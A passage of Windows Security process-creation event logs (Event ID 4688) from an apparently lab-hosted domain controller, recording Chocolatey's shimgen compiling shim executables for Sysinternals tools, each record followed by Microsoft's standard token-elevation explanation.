Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246629
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9c8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb28
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246628
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb28
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ntfsinfo.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123415_6458\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123415_6458\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_6458\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_6458\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_6458\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246627
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd60
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246626
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd80
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ntfsinfo.exe" --output="C:\ProgramData\chocolatey\bin\ntfsinfo.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ntfsinfo.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246625
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd30
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xcd8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE1A0.tmp" "c:\ProgramData\chocolatey\bin\CSCA8C60533E9CB4D57B35AAF1AB11B3DDE.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246624
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf2c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xcd8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246623
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcd8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa40
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\notmyfaultc64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123415_3958\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123415_3958\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_3958\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_3958\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_3958\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246622
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xce0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa40
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246621
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa40
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\notmyfaultc64.exe" --output="C:\ProgramData\chocolatey\bin\notmyfaultc64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\notmyfaultc64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246620
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb54
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd24
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE097.tmp" "c:\ProgramData\chocolatey\bin\CSC44A74BCEECD64BF782D4C81444CDFB8.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246619
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x484
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd24
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246618
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd24
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdc0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\notmyfaultc.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123415_1302\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123415_1302\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_1302\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_1302\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_1302\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246617
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdc0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246616
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdc0
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\notmyfaultc.exe" --output="C:\ProgramData\chocolatey\bin\notmyfaultc.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\notmyfaultc.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246615
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x310
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4b0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESDF8D.tmp" "c:\ProgramData\chocolatey\bin\CSCA63896AB105A44D5B1DD804F7FB63F7F.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246659
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa1c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfe0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246658
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3fc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pipelist64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_9583\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_9583\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_9583\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_9583\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_9583\Assembly.cs"

